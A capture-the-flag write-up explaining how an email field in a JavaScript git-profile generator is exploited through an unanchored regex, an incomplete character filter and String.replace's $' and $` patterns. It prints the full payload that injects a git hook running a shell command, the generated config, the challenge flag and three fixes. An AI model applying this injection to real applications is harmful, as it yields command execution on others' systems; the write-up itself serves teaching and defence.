Challenge Overview
| Field | Value |
|---|---|
| Platform | YesWeHack Dojo |
| Challenge | 56 |
| Category | Web |
| Theme | A git profile generator with a very trusting email field |
| Flag | FLAG{Cr1tic4l_Think1ng} |
“Critical Thinking Contributor”
TL;DR
The app takes an email, checks it with a regex, filters a few dangerous characters, and drops the result into a .gitconfig template with String.replace.
Three small things line up:
- The email regex is anchored at the start but not at the end, so trailing junk is allowed.
- The filter removes
",\n,\r, and\, but not$. String.replacetreats$'and$`as special replacement patterns.
So the email closes its own quote, starts a new [hook.pwn] section, adds a pre-commit command, and restores a clean config tail on the way out. The hook runner then does what hooks do.
The Target
The app is a tiny profile builder. You give it an email, it gives you a git profile:
[user]
name = "Critical Thinking Contributor"
email = "{{email}}"
That is the whole product. There is no database, no session, no admin panel. The interesting part is the template and the two functions wrapped around it.
The logic looks roughly like this:
function validEmail(email) {
const regex = new RegExp(
"^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9.-]+\\.[a-z]{2,63}",
"i"
);
return regex.test(email);
}
function filteredEmail(email) {
return email
.replaceAll('"', "GOTCHA")
.replaceAll("\n", "NADA")
.replaceAll("\r", "NAW")
.replaceAll("\\", "NOPE");
}
function makeProfile(email) {
return profileTemplate.replace("{{email}}", email);
}
Read those four functions in order and the bug is almost rude in how ordinary it is.
The Validator Only Looks Forward
Here is the regex again, with the anchors made obvious:
^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9.-]+\.[a-z]{2,63}
There is a ^. There is no $.
That means the string only has to start with something that looks like an email. Everything after the valid prefix is ignored. This passes:
a@b.co$'[hook.pwn]#$'event = pre-commit#$'command = printenv FLAG#$'$`a@b.co
The first six characters are a@b.co, which is a perfectly good email. The rest is a payload wearing a fake moustache.
If the regex had ended with $, the trailing junk would have been rejected immediately. One missing character, one very different afternoon.
The Filter Has a Blind Spot
The filter is not lazy. It removes four things:
| Character | Replacement |
|---|---|
" |
GOTCHA |
\n |
NADA |
\r |
NAW |
\ |
NOPE |
That is a sensible list if you are thinking about config injection. Quotes break out of values. Newlines break out of lines. Backslashes escape things.
But the payload does not need any of those characters. It needs $, ', [, ], and #. The filter leaves all five alone. It is guarding the front door while the payload climbs through the window with a ladder made of JavaScript syntax.
The Sink: replace() and the Patterns Nobody Reads About
This is the heart of the challenge.
profileTemplate.replace("{{email}}", email)
When the second argument is a string, JavaScript does not insert it literally. It expands a small set of replacement patterns first:
| Pattern | Meaning |
|---|---|
$$ |
A literal $ |
$& |
The matched substring |
$` |
Everything before the match |
$' |
Everything after the match |
$n |
Capture group n |
Most people know about $1 and $2. Far fewer remember $` and $', because they look like punctuation accidents. They are not accidents. They are the keys to this challenge.
The template is:
[user]
name = "Critical Thinking Contributor"
email = "{{email}}"
The match is {{email}}. So:
$`expands to everything before the match, which ends withemail = ".$'expands to everything after the match, which is"followed by a newline.
That is all the payload needs. $' closes the quote and ends the line. $` opens a fresh value on the way back.
Building the Payload, Piece by Piece
Here is the email, split into its working parts:
a@b.co
$'
[hook.pwn]#
$'
event = pre-commit#
$'
command = printenv FLAG#
$'
$`
a@b.co
And here is what each piece does when replace() expands it:
| Piece | Becomes | Job |
|---|---|---|
a@b.co |
a@b.co |
Satisfies the regex |
$' |
" \n |
Closes the email quote, ends the line |
[hook.pwn]# |
[hook.pwn]# |
Starts a new section; # comments out the leftover quote |
$' |
" \n |
Ends the section header line |
event = pre-commit# |
event = pre-commit# |
Sets the hook event |
$' |
" \n |
Ends the event line |
command = printenv FLAG# |
command = printenv FLAG# |
The command that runs |
$' |
" \n |
Ends the command line |
$` |
[user] ... email = " |
Restores a clean config head |
a@b.co |
a@b.co |
Closes the final value |
The # is doing quiet, important work. Every $' drags a stray " into the output. In git config syntax, # starts a comment, so the stray quote and space are ignored by the parser. The file stays syntactically valid while containing exactly the sections we want.
The Generated Config
This is the actual output, straight from the local emulation:
[user]
name = "Critical Thinking Contributor"
email = "a@b.co"
[hook.pwn]#"
event = pre-commit#"
command = printenv FLAG#"
[user]
name = "Critical Thinking Contributor"
email = "a@b.co"
It looks messy to a human. It looks perfectly reasonable to a config parser:
[user]has a name and an email.[hook.pwn]has an event and a command.- The
#"tails are comments. - The second
[user]section is a harmless duplicate.
The app’s hook runner reads [hook.*] sections, matches the event to the current git operation, and runs the command. The operation is a pre-commit check. The command is printenv FLAG.
The flag is in the environment. The hook prints it. Game over.
Why This Works So Well
The bug is not one dramatic mistake. It is three ordinary decisions that are each defensible on their own:
- The regex is anchored at the start, which feels strict.
- The filter blocks the characters people usually use for injection.
replace()is used with a string, which is the most common way to write it.
The failure is in the composition. The validator allows trailing data. The filter does not know what the sink considers special. The sink has a mini-language of its own. Nobody wrote down the contract between the three.
This is the same pattern you see in real applications: a validator that checks shape, a sanitizer that checks a blocklist, and a sink that has its own grammar. Each layer thinks the other layer is handling it.
The Flag
FLAG{Cr1tic4l_Think1ng}
The challenge name is doing a lot of self-aware work here. The intended lesson is not “block the dollar sign.” It is “understand the sink.”
How to Fix It
Three fixes, in increasing order of robustness:
1. Use a function as the replacement.
const config = profileTemplate.replace("{{email}}", () => filteredEmail(email));
A function replacement returns a literal string. $' and $` lose their magic. This is a one-line change and it closes the specific trick.
2. Anchor the validator.
/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9.-]+\.[a-z]{2,63}$/i
The trailing $ rejects anything after the email. This is good hygiene, but it is not sufficient on its own. A stricter regex would still allow a value that breaks the config format in some other way.
3. Do not build structured files with string templates.
Use a real config writer, or serialize a plain object with a library that escapes values for the target format. If the output format is INI, let an INI serializer decide how to quote and escape. If the output format is YAML, use a YAML serializer. Do not teach your application to speak three grammars at once.
The deeper fix is the same one that applies to SQL, HTML, and shell: keep data as data, and let the serializer handle the boundary.
Closing
The email did not break git. It did not exploit a memory bug or a race condition. It simply wrote a section that git was willing to obey, using a replacement pattern that most developers have never had a reason to think about.
The next time you see String.replace with a user-controlled replacement, look at it for a second longer. $' is only two characters, but it is enough to start a new section.